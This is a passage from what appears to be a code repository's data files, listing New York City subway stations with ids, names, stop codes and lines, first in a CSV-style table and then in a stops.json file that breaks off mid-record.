Sts,D08,D 513 | 6cec,18 Av,B19,D 514 | 8fad,182-183 Sts,D06,D 515 | c643,20 Av,B20,D 516 | 5511,25 Av,B22,D 517 | 6854,34 St - Herald Sq,D17,D 518 | 6854,34 St - Herald Sq,R17,D 519 | 38c3,36 St,R36,D 520 | 6fd9,42 St - Bryant Pk,D16,D 521 | 0cca,47-50 Sts - Rockefeller Ctr,D15,D 522 | 530d,50 St,B14,D 523 | b76c,55 St,B15,D 524 | 7a18,59 St - Columbus Circle,125,D 525 | 7a18,59 St - Columbus Circle,A24,D 526 | c4f1,62 St / New Utrecht Av,B16,D 527 | c4f1,62 St / New Utrecht Av,N04,D 528 | b8f3,7 Av,D14,D 529 | 6af5,71 St,B17,D 530 | 7796,79 St,B18,D 531 | 8acf,9 Av,B12,D 532 | d2c6,Atlantic Av - Barclays Ctr,235,D 533 | d2c6,Atlantic Av - Barclays Ctr,D24,D 534 | d2c6,Atlantic Av - Barclays Ctr,R31,D 535 | b81d,Bay 50 St,B23,D 536 | 68cf,Bay Pkwy,B21,D 537 | 6b9a,Bedford Park Blvd,D03,D 538 | 31e9,Broadway-Lafayette St / Bleecker St,637,D 539 | 31e9,Broadway-Lafayette St / Bleecker St,D21,D 540 | 48f0,Coney Island - Stillwell Av,D43,D 541 | 5256,Fordham Rd,D05,D 542 | ed90,Fort Hamilton Pkwy,B13,D 543 | 5397,Grand St,D22,D 544 | 5a85,Kingsbridge Rd,D04,D 545 | 168d,Norwood - 205 St,D01,D 546 | 8714,Tremont Av,D07,D 547 | 47ae,W 4 St,A32,D 548 | 47ae,W 4 St,D20,D 549 | 0161,14 St / 6 Av,D19,E 550 | 0161,14 St / 6 Av,L02,E 551 | 7da0,21 St - Queensbridge,B04,E 552 | 1ccf,23 St,D18,E 553 | 6854,34 St - Herald Sq,D17,E 554 | 6854,34 St - Herald Sq,R17,E 555 | 6fd9,42 St - Bryant Pk,D16,E 556 | 0cca,47-50 Sts - Rockefeller Ctr,D15,E 557 | 5224,57 St,B10,E 558 | c6a0,74 St - Broadway - Roosevelt Av,710,E 559 | c6a0,74 St - Broadway - Roosevelt Av,G14,E 560 | 490c,Canal St,A34,E 561 | 87ff,Forest Hills - 71 Av,G08,E 562 | 55b7,Jamaica - Van Wyck,G07,E 563 | b142,Jamaica Center - Parsons/Archer,G05,E 564 | 4bf3,Kew Gardens - Union Tpke,F06,E 565 | ab3d,Lexington Av/63 St,B08,E 566 | 4edc,Roosevelt Island,B06,E 567 | ebc5,Spring St,A33,E 568 | eeb4,Sutphin Blvd - Archer Av - JFK Airport,G06,E 569 | 47ae,W 4 St,A32,E 570 | 47ae,W 4 St,D20,E 571 | 1941,World Trade Center,E01,E 572 | 0161,14 St / 6 Av,D19,F 573 | 0161,14 St / 6 Av,L02,F 574 | abf9,15 St - Prospect Park,F25,F 575 | c824,169 St,F02,F 576 | 81e2,18 Av,F30,F 577 | 2468,2 Av,F14,F 578 | 7da0,21 St - Queensbridge,B04,F 579 | 1ccf,23 St,D18,F 580 | 6854,34 St - Herald Sq,D17,F 581 | 6854,34 St - Herald Sq,R17,F 582 | a9a9,4 Av / 9 St,F23,F 583 | a9a9,4 Av / 9 St,R33,F 584 | 6fd9,42 St - Bryant Pk,D16,F 585 | 0cca,47-50 Sts - Rockefeller Ctr,D15,F 586 | 5224,57 St,B10,F 587 | ebd7,7 Av,F24,F 588 | c6a0,74 St - Broadway - Roosevelt Av,710,F 589 | c6a0,74 St - Broadway - Roosevelt Av,G14,F 590 | 2f5d,75 Av,F07,F 591 | 020d,Avenue I,F31,F 592 | 1df9,Avenue N,F33,F 593 | 26e0,Avenue P,F34,F 594 | 4c79,Avenue U,F36,F 595 | a0e7,Avenue X,F38,F 596 | 44ad,Bay Pkwy,F32,F 597 | fc33,Bergen St,F20,F 598 | 1d93,Briarwood - Van Wyck Blvd,F05,F 599 | 31e9,Broadway-Lafayette St / Bleecker St,637,F 600 | 31e9,Broadway-Lafayette St / Bleecker St,D21,F 601 | 77e9,Carroll St,F21,F 602 | 92eb,Church Av,F27,F 603 | 48f0,Coney Island - Stillwell Av,D43,F 604 | 0a81,Delancey St / Essex St,F15,F 605 | 0a81,Delancey St / Essex St,M18,F 606 | 7075,Ditmas Av,F29,F 607 | 56d8,East Broadway,F16,F 608 | 87ff,Forest Hills - 71 Av,G08,F 609 | f618,Fort Hamilton Pkwy,F26,F 610 | bfe1,Jamaica - 179 St,F01,F 611 | 923c,Jay St - MetroTech,A41,F 612 | 923c,Jay St - MetroTech,R29,F 613 | 4bf3,Kew Gardens - Union Tpke,F06,F 614 | 078c,Kings Hwy,F35,F 615 | ab3d,Lexington Av/63 St,B08,F 616 | 1f40,Neptune Av,F39,F 617 | df86,Parsons Blvd,F03,F 618 | 4edc,Roosevelt Island,B06,F 619 | 7fa0,Smith - 9 Sts,F22,F 620 | 95cd,Sutphin Blvd,F04,F 621 | 47ae,W 4 St,A32,F 622 | 47ae,W 4 St,D20,F 623 | 099d,W 8 St - NY Aquarium,D42,F 624 | 810b,York St,F18,F 625 | d1f3,Franklin Av,A45,FS 626 | d1f3,Franklin Av,S01,FS 627 | a301,Franklin Av / Botanic Garden,239,FS 628 | a301,Franklin Av / Botanic Garden,S04,FS 629 | e820,Park Pl,S03,FS 630 | cf15,Prospect Park,D26,FS 631 | abf9,15 St - Prospect Park,F25,G 632 | c185,21 St,G24,G 633 | a9a9,4 Av / 9 St,F23,G 634 | a9a9,4 Av / 9 St,R33,G 635 | ebd7,7 Av,F24,G 636 | b994,Bedford - Nostrand Avs,G33,G 637 | fc33,Bergen St,F20,G 638 | f58d,Broadway,G30,G 639 | 77e9,Carroll St,F21,G 640 | 92eb,Church Av,F27,G 641 | 0920,Classon Av,G34,G 642 | 69ba,Clinton - Washington Avs,G35,G 643 | 65cd,Court Sq,719,G 644 | 65cd,Court Sq,F09,G 645 | 65cd,Court Sq,G22,G 646 | 31b9,Flushing Av,G31,G 647 | f618,Fort Hamilton Pkwy,F26,G 648 | 7982,Fulton St,G36,G 649 | b063,Greenpoint Av,G26,G 650 | ec1f,Hoyt - Schermerhorn Sts,A42,G 651 | 1512,Metropolitan Av / Lorimer St,G29,G 652 | 1512,Metropolitan Av / Lorimer St,L10,G 653 | 3e9b,Myrtle - Willoughby Avs,G32,G 654 | e3da,Nassau Av,G28,G 655 | 7fa0,Smith - 9 Sts,F22,G 656 | 232f,Beach 105 St,H14,H 657 | 5eb7,Beach 90 St,H12,H 658 | 170d,Beach 98 St,H13,H 659 | ef66,Broad Channel,H04,H 660 | e4ac,Broad Channel,H19,H 661 | 4de0,Rockaway Park - Beach 116 St,H15,H 662 | c5f7,104 St,J14,J 663 | 6898,111 St,J13,J 664 | f53a,121 St,J12,J 665 | 3a03,75 St,J17,J 666 | 47d7,85 St - Forest Pkwy,J16,J 667 | 5b67,Alabama Av,J24,J 668 | c7ad,Bowery,M19,J 669 | 392c,Broad St,M23,J 670 | 0731,Broadway Jct,A51,J 671 | 0731,Broadway Jct,J27,J 672 | 0731,Broadway Jct,L22,J 673 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,J 674 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,J 675 | 7f0a,Canal St,639,J 676 | 7f0a,Canal St,M20,J 677 | 7f0a,Canal St,Q01,J 678 | 7f0a,Canal St,R23,J 679 | 02f1,Chauncey St,J28,J 680 | 1378,Cleveland St,J22,J 681 | 97a6,Crescent St,J20,J 682 | ce2d,Cypress Hills,J19,J 683 | 0a81,Delancey St / Essex St,F15,J 684 | 0a81,Delancey St / Essex St,M18,J 685 | e9b2,Flushing Av,M12,J 686 | 3cf6,Fulton St,229,J 687 | 3cf6,Fulton St,418,J 688 | 3cf6,Fulton St,A38,J 689 | 3cf6,Fulton St,M22,J 690 | 9910,Gates Av,J30,J 691 | bba2,Halsey St,J29,J 692 | 5ce2,Hewes St,M14,J 693 | b142,Jamaica Center - Parsons/Archer,G05,J 694 | 6d12,Kosciuszko St,J31,J 695 | f25c,Lorimer St,M13,J 696 | f961,Marcy Av,M16,J 697 | 8942,Myrtle Av,M11,J 698 | f4ad,Norwood Av,J21,J 699 | eeb4,Sutphin Blvd - Archer Av - JFK Airport,G06,J 700 | 8f24,Van Siclen Av,J23,J 701 | 8a32,Woodhaven Blvd,J15,J 702 | 5492,1 Av,L06,L 703 | 0161,14 St / 6 Av,D19,L 704 | 0161,14 St / 6 Av,L02,L 705 | 5d15,3 Av,L05,L 706 | 6a30,8 Av / 14 St,A31,L 707 | 6a30,8 Av / 14 St,L01,L 708 | 2489,Atlantic Av,L24,L 709 | ce97,Bedford Av,L08,L 710 | 0731,Broadway Jct,A51,L 711 | 0731,Broadway Jct,J27,L 712 | 0731,Broadway Jct,L22,L 713 | 3439,Bushwick Av - Aberdeen St,L21,L 714 | 4029,Canarsie - Rockaway Pkwy,L29,L 715 | d2ee,DeKalb Av,L16,L 716 | d154,E 105 St,L28,L 717 | 8e7e,Graham Av,L11,L 718 | 7e59,Grand St,L12,L 719 | 5b18,Halsey St,L19,L 720 | 8a7f,Jefferson St,L15,L 721 | 032e,Livonia Av / Junius St,254,L 722 | 032e,Livonia Av / Junius St,L26,L 723 | 1512,Metropolitan Av / Lorimer St,G29,L 724 | 1512,Metropolitan Av / Lorimer St,L10,L 725 | 5194,Montrose Av,L13,L 726 | 1e7f,Morgan Av,L14,L 727 | f145,Myrtle - Wyckoff Avs,L17,L 728 | f145,Myrtle - Wyckoff Avs,M08,L 729 | dde6,New Lots Av,L27,L 730 | ea88,Sutter Av,L25,L 731 | 82bd,Union Sq - 14 St,635,L 732 | 82bd,Union Sq - 14 St,L03,L 733 | 82bd,Union Sq - 14 St,R20,L 734 | 0916,Wilson Av,L20,L 735 | c7ad,Bowery,M19,M 736 | 18ca,Brooklyn Bridge - City Hall / Chambers St,640,M 737 | 18ca,Brooklyn Bridge - City Hall / Chambers St,M21,M 738 | 7f0a,Canal St,639,M 739 | 7f0a,Canal St,M20,M 740 | 7f0a,Canal St,Q01,M 741 | 7f0a,Canal St,R23,M 742 | c415,Central Av,M10,M 743 | 0a81,Delancey St / Essex St,F15,M 744 | 0a81,Delancey St / Essex St,M18,M 745 | e9b2,Flushing Av,M12,M 746 | 934a,Forest Av,M05,M 747 | 435b,Fresh Pond Rd,M04,M 748 | 5ce2,Hewes St,M14,M 749 | 3570,Knickerbocker Av,M09,M 750 | f25c,Lorimer St,M13,M 751 | f961,Marcy Av,M16,M 752 | 9d44,Middle Village - Metropolitan Av,M01,M 753 | f145,Myrtle - Wyckoff Avs,L17,M 754 | f145,Myrtle - Wyckoff Avs,M08,M 755 | 8942,Myrtle Av,M11,M 756 | 56bd,Seneca Av,M06,M 757 | f95c,18 Av,N05,N 758 | ac92,20 Av,N06,N 759 | 529d,30 Av,R04,N 760 | 6854,34 St - Herald Sq,D17,N 761 | 6854,34 St - Herald Sq,R17,N 762 | a47d,36 Av,R06,N 763 | 38c3,36 St,R36,N 764 | 82e4,39 Av,R08,N 765 | 2d15,49 St,R15,N 766 | 5034,5 Av/59 St,R13,N 767 | 05e1,57 St - 7 Av,R14,N 768 | f916,59 St,R41,N 769 | c4f1,62 St / New Utrecht Av,B16,N 770 | c4f1,62 St / New Utrecht Av,N04,N 771 | 93b3,8 Av,N02,N 772 | 12f5,86 St,N10,N 773 | 5925,Astoria - Ditmars Blvd,R01,N 774 | 0fd1,Astoria Blvd,R03,N 775 | d2c6,Atlantic Av - Barclays Ctr,235,N 776 | d2c6,Atlantic Av - Barclays Ctr,D24,N 777 | d2c6,Atlantic Av - Barclays Ctr,R31,N 778 | c277,Avenue U,N09,N 779 | 108a,Bay Pkwy,N07,N 780 | e54a,Broadway,R05,N 781 | 7f0a,Canal St,639,N 782 | 7f0a,Canal St,M20,N 783 | 7f0a,Canal St,Q01,N 784 | 7f0a,Canal St,R23,N 785 | 48f0,Coney Island - Stillwell Av,D43,N 786 | ba60,Fort Hamilton Pkwy,N03,N 787 | 96bd,Kings Hwy,N08,N 788 | 5f44,Lexington Av/59 St,629,N 789 | 5f44,Lexington Av/59 St,R11,N 790 | 66ce,Queensboro Plaza,718,N 791 | 66ce,Queensboro Plaza,R09,N 792 | 84ac,Times Sq - 42 St,127,N 793 | 84ac,Times Sq - 42 St,725,N 794 | 84ac,Times Sq - 42 St,902,N 795 | 84ac,Times Sq - 42 St,R16,N 796 | 82bd,Union Sq - 14 St,635,N 797 | 82bd,Union Sq - 14 St,L03,N 798 | 82bd,Union Sq - 14 St,R20,N 799 | 6854,34 St - Herald Sq,D17,Q 800 | 6854,34 St - Herald Sq,R17,Q 801 | 05e1,57 St - 7 Av,R14,Q 802 | 7f29,7 Av,D25,Q 803 | 9350,72 St,Q03,Q 804 | 6e3b,86 St,Q04,Q 805 | 12d4,96 St,Q05,Q 806 | d2c6,Atlantic Av - Barclays Ctr,235,Q 807 | d2c6,Atlantic Av - Barclays Ctr,D24,Q 808 | d2c6,Atlantic Av - Barclays Ctr,R31,Q 809 | a6b2,Avenue H,D32,Q 810 | 71ea,Avenue J,D33,Q 811 | 71ce,Avenue M,D34,Q 812 | aebd,Avenue U,D37,Q 813 | 1b2e,Beverley Rd,D29,Q 814 | 0132,Brighton Beach,D40,Q 815 | 7f0a,Canal St,639,Q 816 | 7f0a,Canal St,M20,Q 817 | 7f0a,Canal St,Q01,Q 818 | 7f0a,Canal St,R23,Q 819 | b2e2,Church Av,D28,Q 820 | 48f0,Coney Island - Stillwell Av,D43,Q 821 | 3527,Cortelyou Rd,D30,Q 822 | 52ed,DeKalb Av,R30,Q 823 | 13fd,Kings Hwy,D35,Q 824 | ab3d,Lexington Av/63 St,B08,Q 825 | 4f3c,Neck Rd,D38,Q 826 | 7268,Newkirk Plaza,D31,Q 827 | 0a02,Ocean Pkwy,D41,Q 828 | 78f3,Parkside Av,D27,Q 829 | cf15,Prospect Park,D26,Q 830 | 72e2,Sheepshead Bay,D39,Q 831 | 84ac,Times Sq - 42 St,127,Q 832 | 84ac,Times Sq - 42 St,725,Q 833 | 84ac,Times Sq - 42 St,902,Q 834 | 84ac,Times Sq - 42 St,R16,Q 835 | 82bd,Union Sq - 14 St,635,Q 836 | 82bd,Union Sq - 14 St,L03,Q 837 | 82bd,Union Sq - 14 St,R20,Q 838 | 099d,W 8 St - NY Aquarium,D42,Q 839 | a3a3,23 St,R19,R 840 | e61d,25 St,R35,R 841 | ea7e,28 St,R18,R 842 | 6854,34 St - Herald Sq,D17,R 843 | 6854,34 St - Herald Sq,R17,R 844 | 38c3,36 St,R36,R 845 | 7b17,36 St,G20,R 846 | a9a9,4 Av / 9 St,F23,R 847 | a9a9,4 Av / 9 St,R33,R 848 | a081,45 St,R39,R 849 | 1ea4,46 St,G18,R 850 | 2d15,49 St,R15,R 851 | 5034,5 Av/59 St,R13,R 852 | b8a1,53 St,R40,R 853 | 05e1,57 St - 7 Av,R14,R 854 | f916,59 St,R41,R 855 | f3e5,63 Dr - Rego Park,G10,R 856 | 22f3,65 St,G15,R 857 | 5545,67 Av,G09,R 858 | c6a0,74 St - Broadway - Roosevelt Av,710,R 859 | c6a0,74 St - Broadway - Roosevelt Av,G14,R 860 | 11c7,77 St,R43,R 861 | 1fd4,8 St - NYU,R21,R 862 | 75ee,86 St,R44,R 863 | d2c6,Atlantic Av - Barclays Ctr,235,R 864 | d2c6,Atlantic Av - Barclays Ctr,D24,R 865 | d2c6,Atlantic Av - Barclays Ctr,R31,R 866 | 7a5d,Bay Ridge - 95 St,R45,R 867 | 5d6e,Bay Ridge Av,R42,R 868 | 4e75,Borough Hall / Court St,232,R 869 | 4e75,Borough Hall / Court St,423,R 870 | 4e75,Borough Hall / Court St,R28,R 871 | 7f0a,Canal St,639,R 872 | 7f0a,Canal St,M20,R 873 | 7f0a,Canal St,Q01,R 874 | 7f0a,Canal St,R23,R 875 | 5f40,City Hall,R24,R 876 | 14b5,Cortlandt St,R25,R 877 | 52ed,DeKalb Av,R30,R 878 | 1953,Elmhurst Av,G13,R 879 | 87ff,Forest Hills - 71 Av,G08,R 880 | ecbb,Grand Av - Newtown,G12,R 881 | 923c,Jay St - MetroTech,A41,R 882 | 923c,Jay St - MetroTech,R29,R 883 | 5f44,Lexington Av/59 St,629,R 884 | 5f44,Lexington Av/59 St,R11,R 885 | 25fa,Northern Blvd,G16,R 886 | d008,Prince St,R22,R 887 | 7c33,Prospect Av,R34,R 888 | ce5b,Queens Plaza,G21,R 889 | 1a2a,Rector St,R26,R 890 | ecd5,South Ferry Loop / Whitehall St,140,R 891 | ecd5,South Ferry Loop / Whitehall St,R27,R 892 | b83f,Steinway St,G19,R 893 | 84ac,Times Sq - 42 St,127,R 894 | 84ac,Times Sq - 42 St,725,R 895 | 84ac,Times Sq - 42 St,902,R 896 | 84ac,Times Sq - 42 St,R16,R 897 | 82bd,Union Sq - 14 St,635,R 898 | 82bd,Union Sq - 14 St,L03,R 899 | 82bd,Union Sq - 14 St,R20,R 900 | 1b5c,Union St,R32,R 901 | 62a4,Woodhaven Blvd,G11,R 902 | 87d2,Grand Central - 42 St,631,S 903 | 87d2,Grand Central - 42 St,723,S 904 | 87d2,Grand Central - 42 St,901,S 905 | 84ac,Times Sq - 42 St,127,S 906 | 84ac,Times Sq - 42 St,725,S 907 | 84ac,Times Sq - 42 St,902,S 908 | 84ac,Times Sq - 42 St,R16,S 909 | f248,Annadale,S17,SI 910 | 7cc9,Arthur Kill,S11,SI 911 | a90d,Bay Terrace,S20,SI 912 | c6e1,Clifton,S28,SI 913 | 951f,Dongan Hills,S25,SI 914 | e840,Eltingville,S18,SI 915 | 2c9c,Grant City,S23,SI 916 | 478e,Grasmere,S27,SI 917 | 3f21,Great Kills,S19,SI 918 | 6e0b,Huguenot,S16,SI 919 | 9faa,Jefferson Av,S24,SI 920 | 7580,New Dorp,S22,SI 921 | 7c25,Oakwood Heights,S21,SI 922 | 40de,Old Town,S26,SI 923 | e875,Pleasant Plains,S14,SI 924 | 74a2,Prince's Bay,S15,SI 925 | 688b,Richmond Valley,S13,SI 926 | 69be,St George,S31,SI 927 | a85e,Stapleton,S29,SI 928 | c317,Tompkinsville,S30,SI 929 | 5265,Tottenville,S09,SI 930 | a3a3,23 St,R19,W 931 | ea7e,28 St,R18,W 932 | 529d,30 Av,R04,W 933 | 6854,34 St - Herald Sq,D17,W 934 | 6854,34 St - Herald Sq,R17,W 935 | a47d,36 Av,R06,W 936 | 82e4,39 Av,R08,W 937 | 2d15,49 St,R15,W 938 | 5034,5 Av/59 St,R13,W 939 | 05e1,57 St - 7 Av,R14,W 940 | 1fd4,8 St - NYU,R21,W 941 | 5925,Astoria - Ditmars Blvd,R01,W 942 | 0fd1,Astoria Blvd,R03,W 943 | e54a,Broadway,R05,W 944 | 7f0a,Canal St,639,W 945 | 7f0a,Canal St,M20,W 946 | 7f0a,Canal St,Q01,W 947 | 7f0a,Canal St,R23,W 948 | 5f40,City Hall,R24,W 949 | 14b5,Cortlandt St,R25,W 950 | 5f44,Lexington Av/59 St,629,W 951 | 5f44,Lexington Av/59 St,R11,W 952 | d008,Prince St,R22,W 953 | 66ce,Queensboro Plaza,718,W 954 | 66ce,Queensboro Plaza,R09,W 955 | 1a2a,Rector St,R26,W 956 | ecd5,South Ferry Loop / Whitehall St,140,W 957 | ecd5,South Ferry Loop / Whitehall St,R27,W 958 | 84ac,Times Sq - 42 St,127,W 959 | 84ac,Times Sq - 42 St,725,W 960 | 84ac,Times Sq - 42 St,902,W 961 | 84ac,Times Sq - 42 St,R16,W 962 | 82bd,Union Sq - 14 St,635,W 963 | 82bd,Union Sq - 14 St,L03,W 964 | 82bd,Union Sq - 14 St,R20,W 965 | -------------------------------------------------------------------------------- /data/stops.json: -------------------------------------------------------------------------------- 1 | [{"id": "07e1", "name": "103 St", "stop": "119", "line": "1"}, {"id": "0d51", "name": "116 St - Columbia University", "stop": "117", "line": "1"}, {"id": "c451", "name": "125 St", "stop": "116", "line": "1"}, {"id": "2b44", "name": "137 St - City College", "stop": "115", "line": "1"}, {"id": "65de", "name": "14 St", "stop": "132", "line": "1"}, {"id": "5fd0", "name": "145 St", "stop": "114", "line": "1"}, {"id": "7327", "name": "157 St", "stop": "113", "line": "1"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "112", "line": "1"}, {"id": "e467", "name": "168 St - Washington Hts", "stop": "A09", "line": "1"}, {"id": "1afa", "name": "18 St", "stop": "131", "line": "1"}, {"id": "698d", "name": "181 St", "stop": "111", "line": "1"}, {"id": "5f93", "name": "191 St", "stop": "110", "line": "1"}, {"id": "a3c6", "name": "207 St", "stop": "108", "line": "1"}, {"id": "a97d", "name": "215 St", "stop": "107", "line": "1"}, {"id": "9b86", "name": "23 St", "stop": "130", "line": "1"}, {"id": "c9e1", "name": "231 St", "stop": "104", "line": "1"}, {"id": "6974", "name": "238 St", "stop": "103", "line": "1"}, {"id": "d1f4", "name": "28 St", "stop": "129", "line": "1"}, {"id": "76dc", "name": "34 St - Penn Station", "stop": "128", "line": "1"}, {"id": "0690", "name": "50 St", "stop": "126", "line": "1"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "125", "line": "1"}, {"id": "7a18", "name": "59 St - Columbus Circle", "stop": "A24", "line": "1"}, {"id": "c8ff", "name": "66 St - Lincoln Center", "stop": "124", "line": "1"}, {"id": "202c", "name": "72 St", "stop": "123", "line": "1"}, {"id": "a0a0", "name": "79 St", "stop": "122", "line": "1"}, {"id": "4c56", "name": "86 St", "stop": "121", "line": "1"}, {"id": "da4f", "name": "96 St", "stop": "120", "line": "1"}, {"id": "7f1d", "name": "Canal St", "stop": "135", "line": "1"}, {"id": "5ef0", "name": "Cathedral Pkwy", "stop": "118", "line": "1"}, {"id": "3988", "name": "Chambers St", "stop": "137", "line": "1"}, {"id": "9fc3", "name": "Christopher St - Sheridan Sq", "stop": "133", "line": "1"}, {"id": "013d", "name": "Cortlandt St", "stop": "138", "line": "1"}, {"id": "2723", "name": "Dyckman St", "stop": "109", "line": "1"}, {"id": "42a0", "name": "Franklin St", "stop": "136", "line": "1"}, {"id": "0252", "name": "Houston St", "stop": "134", "line": "1"}, {"id": "f093", "name": "Marble Hill - 225 St", "stop": "106", "line": "1"}, {"id": "e00d", "name": "Rector St", "stop": "139", "line": "1"}, {"id": "a8ba", "name": "South Ferry", "stop": "142", "line": "1"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "1"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "1"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "1"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "1"}, {"id": "38b3", "name": "Van Cortlandt Park - 242 St", "stop": "101", "line": "1"}, {"id": "9cfd", "name": "116 St", "stop": "226", "line": "2"}, {"id": "d1c3", "name": "125 St", "stop": "225", "line": "2"}, {"id": "13fe", "name": "135 St", "stop": "224", "line": "2"}, {"id": "65de", "name": "14 St", "stop": "132", "line": "2"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "222", "line": "2"}, {"id": "64f8", "name": "149 St - Grand Concourse", "stop": "415", "line": "2"}, {"id": "3b8a", "name": "174 St", "stop": "215", "line": "2"}, {"id": "69ad", "name": "219 St", "stop": "207", "line": "2"}, {"id": "7eab", "name": "225 St", "stop": "206", "line": "2"}, {"id": "eae2", "name": "233 St", "stop": "205", "line": "2"}, {"id": "060a", "name": "3 Av - 149 St", "stop": "221", "line": "2"}, {"id": "76dc", "name": "34 St - Penn Station", "stop": "128", "line": "2"}, {"id": "202c", "name": "72 St", "stop": "123", "line": "2"}, {"id": "da4f", "name": "96 St", "stop": "120", "line": "2"}, {"id": "6f3e", "name": "Allerton Av", "stop": "210", "line": "2"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "2"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "2"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "2"}, {"id": "0116", "name": "Bergen St", "stop": "236", "line": "2"}, {"id": "0266", "name": "Beverly Rd", "stop": "245", "line": "2"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "232", "line": "2"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "423", "line": "2"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "R28", "line": "2"}, {"id": "1534", "name": "Bronx Park East", "stop": "212", "line": "2"}, {"id": "b1d1", "name": "Burke Av", "stop": "209", "line": "2"}, {"id": "705f", "name": "Central Park North (110 St)", "stop": "227", "line": "2"}, {"id": "3988", "name": "Chambers St", "stop": "137", "line": "2"}, {"id": "9188", "name": "Church Av", "stop": "244", "line": "2"}, {"id": "9b04", "name": "Clark St", "stop": "231", "line": "2"}, {"id": "979d", "name": "E 180 St", "stop": "213", "line": "2"}, {"id": "ac1d", "name": "Eastern Pkwy - Brooklyn Museum", "stop": "238", "line": "2"}, {"id": "3cec", "name": "Flatbush Av - Brooklyn College", "stop": "247", "line": "2"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "239", "line": "2"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "S04", "line": "2"}, {"id": "45fb", "name": "Freeman St", "stop": "216", "line": "2"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "2"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "2"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "2"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "2"}, {"id": "539f", "name": "Grand Army Plaza", "stop": "237", "line": "2"}, {"id": "091d", "name": "Gun Hill Rd", "stop": "208", "line": "2"}, {"id": "e165", "name": "Hoyt St", "stop": "233", "line": "2"}, {"id": "e96e", "name": "Intervale Av", "stop": "218", "line": "2"}, {"id": "ec8c", "name": "Jackson Av", "stop": "220", "line": "2"}, {"id": "274a", "name": "Nereid Av", "stop": "204", "line": "2"}, {"id": "289d", "name": "Nevins St", "stop": "234", "line": "2"}, {"id": "38db", "name": "Newkirk Av", "stop": "246", "line": "2"}, {"id": "74db", "name": "Park Pl", "stop": "228", "line": "2"}, {"id": "eb16", "name": "Pelham Pkwy", "stop": "211", "line": "2"}, {"id": "f340", "name": "President St", "stop": "241", "line": "2"}, {"id": "c0e1", "name": "Prospect Av", "stop": "219", "line": "2"}, {"id": "63dc", "name": "Simpson St", "stop": "217", "line": "2"}, {"id": "e4a6", "name": "Sterling St", "stop": "242", "line": "2"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "2"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "2"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "2"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "2"}, {"id": "757b", "name": "Wakefield - 241 St", "stop": "201", "line": "2"}, {"id": "6da9", "name": "Wall St", "stop": "230", "line": "2"}, {"id": "ca46", "name": "West Farms Sq - E Tremont Av", "stop": "214", "line": "2"}, {"id": "cb70", "name": "Winthrop St", "stop": "243", "line": "2"}, {"id": "9cfd", "name": "116 St", "stop": "226", "line": "3"}, {"id": "d1c3", "name": "125 St", "stop": "225", "line": "3"}, {"id": "13fe", "name": "135 St", "stop": "224", "line": "3"}, {"id": "65de", "name": "14 St", "stop": "132", "line": "3"}, {"id": "577b", "name": "145 St", "stop": "302", "line": "3"}, {"id": "76dc", "name": "34 St - Penn Station", "stop": "128", "line": "3"}, {"id": "202c", "name": "72 St", "stop": "123", "line": "3"}, {"id": "da4f", "name": "96 St", "stop": "120", "line": "3"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "235", "line": "3"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "D24", "line": "3"}, {"id": "d2c6", "name": "Atlantic Av - Barclays Ctr", "stop": "R31", "line": "3"}, {"id": "0116", "name": "Bergen St", "stop": "236", "line": "3"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "232", "line": "3"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "423", "line": "3"}, {"id": "4e75", "name": "Borough Hall / Court St", "stop": "R28", "line": "3"}, {"id": "705f", "name": "Central Park North (110 St)", "stop": "227", "line": "3"}, {"id": "3988", "name": "Chambers St", "stop": "137", "line": "3"}, {"id": "9b04", "name": "Clark St", "stop": "231", "line": "3"}, {"id": "6c98", "name": "Crown Hts - Utica Av", "stop": "250", "line": "3"}, {"id": "ac1d", "name": "Eastern Pkwy - Brooklyn Museum", "stop": "238", "line": "3"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "239", "line": "3"}, {"id": "a301", "name": "Franklin Av / Botanic Garden", "stop": "S04", "line": "3"}, {"id": "3cf6", "name": "Fulton St", "stop": "229", "line": "3"}, {"id": "3cf6", "name": "Fulton St", "stop": "418", "line": "3"}, {"id": "3cf6", "name": "Fulton St", "stop": "A38", "line": "3"}, {"id": "3cf6", "name": "Fulton St", "stop": "M22", "line": "3"}, {"id": "539f", "name": "Grand Army Plaza", "stop": "237", "line": "3"}, {"id": "34ed", "name": "Harlem - 148 St", "stop": "301", "line": "3"}, {"id": "e165", "name": "Hoyt St", "stop": "233", "line": "3"}, {"id": "077e", "name": "Kingston Av", "stop": "249", "line": "3"}, {"id": "032e", "name": "Livonia Av / Junius St", "stop": "254", "line": "3"}, {"id": "032e", "name": "Livonia Av / Junius St", "stop": "L26", "line": "3"}, {"id": "289d", "name": "Nevins St", "stop": "234", "line": "3"}, {"id": "d964", "name": "New Lots Av", "stop": "257", "line": "3"}, {"id": "621b", "name": "Nostrand Av", "stop": "248", "line": 